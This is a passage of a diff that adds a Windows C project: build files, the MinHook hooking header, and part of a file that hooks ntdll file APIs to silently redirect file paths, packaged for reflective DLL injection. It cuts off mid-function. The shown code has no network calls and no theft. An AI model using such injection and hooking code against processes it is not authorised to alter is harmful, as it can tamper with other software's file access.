<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
||||
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
|
||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
|
||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||
<ClCompile Include="src\NtApiHooks.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\NtApiHooksConfig.h" />
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||
<ClInclude Include="src\NtApiHooks.h" />
|
||||
<ClInclude Include="src\MinHook.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,41 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\ReflectiveLoader.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\NtApiHooks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\ReflectiveLoader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\NtApiHooks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\MinHook.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\NtApiHooksConfig.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,185 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
|
||||
#error MinHook supports only x86 and x64 systems.
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// MinHook Error Codes.
|
||||
typedef enum MH_STATUS
|
||||
{
|
||||
// Unknown error. Should not be returned.
|
||||
MH_UNKNOWN = -1,
|
||||
|
||||
// Successful.
|
||||
MH_OK = 0,
|
||||
|
||||
// MinHook is already initialized.
|
||||
MH_ERROR_ALREADY_INITIALIZED,
|
||||
|
||||
// MinHook is not initialized yet, or already uninitialized.
|
||||
MH_ERROR_NOT_INITIALIZED,
|
||||
|
||||
// The hook for the specified target function is already created.
|
||||
MH_ERROR_ALREADY_CREATED,
|
||||
|
||||
// The hook for the specified target function is not created yet.
|
||||
MH_ERROR_NOT_CREATED,
|
||||
|
||||
// The hook for the specified target function is already enabled.
|
||||
MH_ERROR_ENABLED,
|
||||
|
||||
// The hook for the specified target function is not enabled yet, or already
|
||||
// disabled.
|
||||
MH_ERROR_DISABLED,
|
||||
|
||||
// The specified pointer is invalid. It points the address of non-allocated
|
||||
// and/or non-executable region.
|
||||
MH_ERROR_NOT_EXECUTABLE,
|
||||
|
||||
// The specified target function cannot be hooked.
|
||||
MH_ERROR_UNSUPPORTED_FUNCTION,
|
||||
|
||||
// Failed to allocate memory.
|
||||
MH_ERROR_MEMORY_ALLOC,
|
||||
|
||||
// Failed to change the memory protection.
|
||||
MH_ERROR_MEMORY_PROTECT,
|
||||
|
||||
// The specified module is not loaded.
|
||||
MH_ERROR_MODULE_NOT_FOUND,
|
||||
|
||||
// The specified function is not found.
|
||||
MH_ERROR_FUNCTION_NOT_FOUND
|
||||
}
|
||||
MH_STATUS;
|
||||
|
||||
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
|
||||
// MH_QueueEnableHook or MH_QueueDisableHook.
|
||||
#define MH_ALL_HOOKS NULL
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize the MinHook library. You must call this function EXACTLY ONCE
|
||||
// at the beginning of your program.
|
||||
MH_STATUS WINAPI MH_Initialize(VOID);
|
||||
|
||||
// Uninitialize the MinHook library. You must call this function EXACTLY
|
||||
// ONCE at the end of your program.
|
||||
MH_STATUS WINAPI MH_Uninitialize(VOID);
|
||||
|
||||
// Creates a Hook for the specified target function, in disabled state.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
|
||||
|
||||
// Creates a Hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszTarget [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApi(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
|
||||
|
||||
// Creates a Hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszTarget [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
// ppTarget [out] A pointer to the target function, which will be used
|
||||
// with other functions.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApiEx(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
|
||||
|
||||
// Removes an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
|
||||
|
||||
// Enables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// enabled in one go.
|
||||
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
|
||||
|
||||
// Disables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// disabled in one go.
|
||||
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to enable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be enabled.
|
||||
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to disable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be disabled.
|
||||
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
|
||||
|
||||
// Applies all queued changes in one go.
|
||||
MH_STATUS WINAPI MH_ApplyQueued(VOID);
|
||||
|
||||
// Translates the MH_STATUS to its name as a string.
|
||||
const char* WINAPI MH_StatusToString(MH_STATUS status);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,868 @@
|
||||
//===============================================================================================//
|
||||
// NT API Hooking Implementation
|
||||
//===============================================================================================//
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "NtApiHooks.h"
|
||||
#include "NtApiHooksConfig.h"
|
||||
#include "MinHook.h"
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#pragma comment(lib, "libMinHook.x64.lib")
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Global search and replacement strings (filled from parameter)
|
||||
static WCHAR g_SearchString[512] = { 0 };
|
||||
static WCHAR g_ReplacementString[512] = { 0 };
|
||||
static BOOL g_HooksInitialized = FALSE;
|
||||
static HANDLE g_LogFile = INVALID_HANDLE_VALUE;
|
||||
|
||||
// Helper function to log debug info
|
||||
void LogDebug(const WCHAR* message) {
|
||||
#if ENABLE_DEBUG_LOGGING
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
DWORD written;
|
||||
DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR);
|
||||
WriteFile(g_LogFile, message, messageLen, &written, NULL);
|
||||
|
||||
const WCHAR newline[] = L"\r\n";
|
||||
WriteFile(g_LogFile, newline, sizeof(newline) - sizeof(WCHAR), &written, NULL);
|
||||
FlushFileBuffers(g_LogFile);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void LogDebugA(const char* message) {
|
||||
#if ENABLE_DEBUG_LOGGING
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
DWORD written;
|
||||
DWORD messageLen = (DWORD)strlen(message);
|
||||
WriteFile(g_LogFile, message, messageLen, &written, NULL);
|
||||
|
||||
const char newline[] = "\r\n";
|
||||
WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL);
|
||||
FlushFileBuffers(g_LogFile);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// Helper function for case-insensitive wide string comparison
|
||||
int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) {
|
||||
for (SIZE_T i = 0; i < count; i++) {
|
||||
WCHAR c1 = s1[i];
|
||||
WCHAR c2 = s2[i];
|
||||
|
||||
// Convert to uppercase for comparison
|
||||
if (c1 >= L'a' && c1 <= L'z') c1 = c1 - L'a' + L'A';
|
||||
if (c2 >= L'a' && c2 <= L'z') c2 = c2 - L'a' + L'A';
|
||||
|
||||
// Also handle backslash vs forward slash
|
||||
if (c1 == L'/') c1 = L'\\';
|
||||
if (c2 == L'/') c2 = L'\\';
|
||||
|
||||
if (c1 != c2) return (c1 < c2) ? -1 : 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Helper function to normalize NT paths - skip \??\ prefix if present
|
||||
const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) {
|
||||
if (!path || !adjustedLength) return path;
|
||||
|
||||
SIZE_T length = *adjustedLength;
|
||||
|
||||
// Check for \??\ prefix (NT object namespace for DOS devices)
|
||||
if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') {
|
||||
*adjustedLength = length - 4;
|
||||
return path + 4;
|
||||
}
|
||||
|
||||
// Check for \Device\ or \DEVICE\ prefix
|
||||
if (length >= 8 &&
|
||||
(wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) {
|
||||
// Don't adjust - these are device paths, not file paths
|
||||
return path;
|
||||
}
|
||||
|
||||
return path;
|
||||
}
|
||||
|
||||
// NT API typedefs
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
LONG Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef enum _FILE_INFORMATION_CLASS {
|
||||
FileDirectoryInformation = 1,
|
||||
FileFullDirectoryInformation,
|
||||
FileBothDirectoryInformation,
|
||||
FileBasicInformation,
|
||||
FileStandardInformation,
|
||||
FileInternalInformation,
|
||||
FileEaInformation,
|
||||
FileAccessInformation,
|
||||
FileNameInformation,
|
||||
FileRenameInformation = 10,
|
||||
FileLinkInformation,
|
||||
FileNamesInformation,
|
||||
FileDispositionInformation,
|
||||
FilePositionInformation,
|
||||
FileFullEaInformation,
|
||||
FileModeInformation,
|
||||
FileAlignmentInformation,
|
||||
FileAllInformation,
|
||||
FileAllocationInformation,
|
||||
FileEndOfFileInformation,
|
||||
FileAlternateNameInformation,
|
||||
FileStreamInformation,
|
||||
FilePipeInformation,
|
||||
FilePipeLocalInformation,
|
||||
FilePipeRemoteInformation,
|
||||
FileMailslotQueryInformation,
|
||||
FileMailslotSetInformation,
|
||||
FileCompressionInformation,
|
||||
FileObjectIdInformation,
|
||||
FileCompletionInformation,
|
||||
FileMoveClusterInformation,
|
||||
FileQuotaInformation,
|
||||
FileReparsePointInformation,
|
||||
FileNetworkOpenInformation,
|
||||
FileAttributeTagInformation,
|
||||
FileTrackingInformation,
|
||||
FileIdBothDirectoryInformation,
|
||||
FileIdFullDirectoryInformation,
|
||||
FileValidDataLengthInformation,
|
||||
FileShortNameInformation,
|
||||
FileIoCompletionNotificationInformation,
|
||||
FileIoStatusBlockRangeInformation,
|
||||
FileIoPriorityHintInformation,
|
||||
FileSfioReserveInformation,
|
||||
FileSfioVolumeInformation,
|
||||
FileHardLinkInformation,
|
||||
FileProcessIdsUsingFileInformation,
|
||||
FileNormalizedNameInformation,
|
||||
FileNetworkPhysicalNameInformation,
|
||||
FileIdGlobalTxDirectoryInformation,
|
||||
FileIsRemoteDeviceInformation,
|
||||
FileUnusedInformation,
|
||||
FileNumaNodeInformation,
|
||||
FileStandardLinkInformation,
|
||||
FileRemoteProtocolInformation,
|
||||
FileRenameInformationBypassAccessCheck,
|
||||
FileLinkInformationBypassAccessCheck,
|
||||
FileVolumeNameInformation,
|
||||
FileIdInformation,
|
||||
FileIdExtdDirectoryInformation,
|
||||
FileReplaceCompletionInformation,
|
||||
FileHardLinkFullIdInformation,
|
||||
FileIdExtdBothDirectoryInformation,
|
||||
FileRenameInformationEx = 65,
|
||||
FileRenameInformationExBypassAccessCheck,
|
||||
FileMaximumInformation
|
||||
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
|
||||
|
||||
// NT API function pointers
|
||||
typedef LONG NTSTATUS;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtCreateFile)(
|
||||
PHANDLE FileHandle,
|
||||
ULONG DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PLARGE_INTEGER AllocationSize,
|
||||
ULONG FileAttributes,
|
||||
ULONG ShareAccess,
|
||||
ULONG CreateDisposition,
|
||||
ULONG CreateOptions,
|
||||
PVOID EaBuffer,
|
||||
ULONG EaLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtOpenFile)(
|
||||
PHANDLE FileHandle,
|
||||
ULONG DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
ULONG ShareAccess,
|
||||
ULONG OpenOptions
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtDeleteFile)(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtSetInformationFile)(
|
||||
HANDLE FileHandle,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PVOID FileInformation
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)(
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PVOID FileInformation
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PVOID ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass,
|
||||
BOOLEAN ReturnSingleEntry,
|
||||
PUNICODE_STRING FileName,
|
||||
BOOLEAN RestartScan
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PVOID ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PVOID FileInformation,
|
||||
ULONG Length,
|
||||
FILE_INFORMATION_CLASS FileInformationClass,
|
||||
ULONG QueryFlags,
|
||||
PUNICODE_STRING FileName
|
||||
);
|
||||
|
||||
// Original function pointers
|
||||
pNtCreateFile OriginalNtCreateFile = NULL;
|
||||
pNtOpenFile OriginalNtOpenFile = NULL;
|
||||
pNtDeleteFile OriginalNtDeleteFile = NULL;
|
||||
pNtSetInformationFile OriginalNtSetInformationFile = NULL;
|
||||
pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL;
|
||||
pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL;
|
||||
pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL;
|
||||
pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL;
|
||||
|
||||
// Helper function to check if path needs redirection
|
||||
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
|
||||
if (!path || length == 0) return FALSE;
|
||||
|
||||
SIZE_T searchLen = wcslen(g_SearchString);
|
||||
if (searchLen == 0 || length < searchLen) return FALSE;
|
||||
|
||||
// Normalize the path (strip \??\ prefix if present)
|
||||
SIZE_T normalizedLength = length;
|
||||
const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength);
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
WCHAR tempPath[512] = { 0 };
|
||||
SIZE_T copyLen = normalizedLength < 511 ? normalizedLength : 511;
|
||||
wcsncpy_s(tempPath, 512, normalizedPath, copyLen);
|
||||
LogDebug(L"[NeedsRedirection] Checking normalized path: ");
|
||||
LogDebug(tempPath);
|
||||
LogDebug(L"[NeedsRedirection] Against search string: ");
|
||||
LogDebug(g_SearchString);
|
||||
}
|
||||
|
||||
if (normalizedLength < searchLen) return FALSE;
|
||||
|
||||
// Search for the search string in the normalized path (case-insensitive)
|
||||
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
|
||||
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebug(L"[NeedsRedirection] MATCH FOUND at position ");
|
||||
WCHAR posStr[32];
|
||||
wsprintfW(posStr, L"%zu", i);
|
||||
LogDebug(posStr);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||
LogDebug(L"[NeedsRedirection] NO MATCH");
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Helper function to replace search string with the replacement string
|
||||
WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) {
|
||||
if (!originalPath || originalLength == 0 || !newLength) return NULL;
|
||||
|
||||
SIZE_T searchLen = wcslen(g_SearchString);
|
||||
SIZE_T replaceLen = wcslen(g_ReplacementString);
|
||||
|
||||
if (searchLen == 0 || originalLength < searchLen) return NULL;
|
||||
|
||||
// Normalize the path
|
||||
SIZE_T normalizedLength = originalLength;
|
||||
const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength);
|
||||
SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix
|
||||
|
||||
if (normalizedLength < searchLen) return NULL;
|
||||
|
||||
// Count occurrences (case-insensitive) in normalized portion
|
||||
SIZE_T occurrences = 0;
|
||||
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
|
||||
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
|
||||
occurrences++;
|
||||
i += searchLen - 1; // Skip past this occurrence
|
||||
}
|
||||
}
|
||||
|
||||
if (occurrences == 0) return NULL;
|
||||
|
||||
// Calculate new length (prefix + modified path)
|
||||
SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen));
|
||||
WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR));
|
||||
if (!newPath) return NULL;
|
||||
|
||||
// Copy prefix (\??\ or other) if present
|
||||
SIZE_T destIdx = 0;
|
||||
for (SIZE_T i = 0; i < prefixLength; i++) {
|
||||
newPath[destIdx++] = originalPath[i];
|
||||
}
|
||||
|
||||
// Perform replacement in normalized portion (case-insensitive)
|
||||
SIZE_T srcIdx = 0;
|
||||
|
||||
while (srcIdx < normalizedLength) {
|
||||
if (srcIdx <= normalizedLength - searchLen &&
|
||||
wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) {
|
||||
// Copy replacement string
|
||||
for (SIZE_T j = 0; j < replaceLen; j++) {
|
||||
newPath[destIdx++] = g_ReplacementString[j];
|
||||
}
|
||||
srcIdx += searchLen;
|
||||
}
|
||||
else {
|
||||
newPath[destIdx++] = normalizedPath[srcIdx++];
|
||||
}
|
||||
}
|
||||
|
||||
*newLength = destIdx;
|
||||
return newPath;
|
||||
}
|
||||
|
||||
// Hook implementations
|
||||
NTSTATUS NTAPI HookedNtCreateFile(
|
||||
PHANDLE FileHandle,
|
||||
ULONG DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PLARGE_INTEGER AllocationSize,
|
||||
ULONG FileAttributes,
|
||||
ULONG ShareAccess,
|
||||
ULONG CreateDisposition,
|
||||
ULONG CreateOptions,
|
||||
PVOID EaBuffer,
|
||||
ULONG EaLength
|
||||
) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
// Only attempt redirection if hooks are properly initialized and we have the original function
|
||||
if (g_HooksInitialized && OriginalNtCreateFile && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
// Log all paths for debugging
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0) {
|
||||
WCHAR tempPath[512] = { 0 };
|
||||
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
|
||||
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
|
||||
LogDebug(L"");
|
||||
LogDebug(L"[NtCreateFile] Original Path: ");
|
||||
LogDebug(tempPath);
|
||||
}
|
||||
|
||||
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
|
||||
SIZE_T newLength = 0;
|
||||
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
|
||||
|
||||
if (buffer) {
|
||||
WCHAR tempBuf[512] = { 0 };
|
||||
SIZE_T copyLen = newLength < 511 ? newLength : 511;
|
||||
wcsncpy_s(tempBuf, 512, buffer, copyLen);
|
||||
LogDebug(L"[NtCreateFile] *** REDIRECTING TO: ");
|
||||
LogDebug(tempBuf);
|
||||
|
||||
originalString = ObjectAttributes->ObjectName;
|
||||
newString.Buffer = buffer;
|
||||
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
|
||||
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
|
||||
ObjectAttributes->ObjectName = &newString;
|
||||
}
|
||||
else {
|
||||
LogDebug(L"[NtCreateFile] ReplacePath returned NULL");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,
|
||||
AllocationSize, FileAttributes, ShareAccess, CreateDisposition,
|
||||
CreateOptions, EaBuffer, EaLength);
|
||||
|
||||
if (originalString) {
|
||||
ObjectAttributes->ObjectName = originalString;
|
||||
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI HookedNtOpenFile(
|
||||
PHANDLE FileHandle,
|
||||
ULONG DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
ULONG ShareAccess,
|
||||
ULONG OpenOptions
|
||||
) {
|
||||
PUNICODE_STRING originalString = NULL;
|
||||
UNICODE_STRING newString = { 0 };
|
||||
WCHAR* buffer = NULL;
|
||||
|
||||
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
|
||||
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
|
||||
|
||||
// Log all paths for debugging
|
||||
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0 && g_HooksInitialized) {
|
||||
WCHAR tempPath[512] = { 0 };
|
||||
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
|
||||
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
|
||||
LogDebug(L"");
|
||||
